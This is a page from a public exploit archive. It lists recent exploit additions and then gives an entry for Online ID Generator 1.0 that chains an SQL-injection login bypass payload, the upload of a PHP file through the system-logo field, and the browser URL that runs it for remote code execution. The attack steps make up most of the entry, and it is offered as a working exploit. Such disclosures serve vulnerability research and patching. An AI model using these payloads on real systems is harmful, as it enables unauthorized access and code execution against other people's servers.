f3649a641f
24 changes to exploits/shellcodes/ghdb Minio 2022-07-29T19-40-48Z - Path traversal Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Denial Of Service Atcom 2.7.x.x - Authenticated Command Injection Ruijie Reyee Mesh Router - MITM Remote Code Execution (RCE) Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Admin Password Change Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Credentials Extraction OpenPLC WebServer 3 - Denial of Service Splunk 9.0.5 - admin account take over BoidCMS v2.0.0 - authenticated file upload vulnerability Cacti 1.2.24 - Authenticated command injection when using SNMP options Chitor-CMS v1.1.2 - Pre-Auth SQL Injection Clcknshop 1.0.0 - SQL Injection Coppermine Gallery 1.6.25 - RCE Crypto Currency Tracker (CCT) 9.5 - Admin Account Creation (Unauthenticated) GLPI GZIP(Py3) 9.4.5 - RCE Limo Booking Software v1.0 - CORS Media Library Assistant Wordpress Plugin - RCE and LFI Online ID Generator 1.0 - Remote Code Execution (RCE) Shuttle-Booking-Software v1.0 - Multiple-SQLi Webedition CMS v2.9.8.8 - Blind SSRF WEBIGniter v28.7.23 File Upload - Remote Code Execution Wordpress Plugin Masterstudy LMS - 3.0.17 - Unauthenticated Instructor Account Creation Wordpress Sonaar Music Plugin 4.7 - Stored XSS Microsoft Windows 11 - 'apds.dll' DLL hijacking (Forced)
39 lines
No EOL
1.1 KiB
Text
39 lines
No EOL
1.1 KiB
Text
## Title: Online ID Generator 1.0 - Remote Code Execution (RCE)
|
|
## Author: nu11secur1ty
|
|
## Date: 08/31/2023
|
|
## Vendor: https://www.youtube.com/watch?v=JdB9_po5DTc
|
|
## Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/id_generator_0.zip
|
|
## Reference: https://portswigger.net/web-security/sql-injection
|
|
## Reference: https://portswigger.net/web-security/file-upload
|
|
## Reference: https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload
|
|
|
|
|
|
STATUS: HIGH-CRITICAL Vulnerability
|
|
|
|
[+]Bypass login SQLi:
|
|
# In login form, for user:
|
|
|
|
```mysql
|
|
nu11secur1ty' or 1=1#
|
|
```
|
|
|
|
[+]Shell Upload exploit:
|
|
## For system logo:
|
|
```php
|
|
<?php
|
|
phpinfo();
|
|
?>
|
|
```
|
|
[+]RCE Exploit
|
|
## Execution from the remote browser:
|
|
```URLhttp://localhost/id_generator/uploads/1693471560_info.php
|
|
```
|
|
|
|
## Reproduce:
|
|
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Online-ID-Generator-1.0)
|
|
|
|
## Proof and Exploit:
|
|
[href](https://www.nu11secur1ty.com/2023/08/online-id-generator-10-sqli-bypass.html)
|
|
|
|
## Time spend:
|
|
00:10:00 |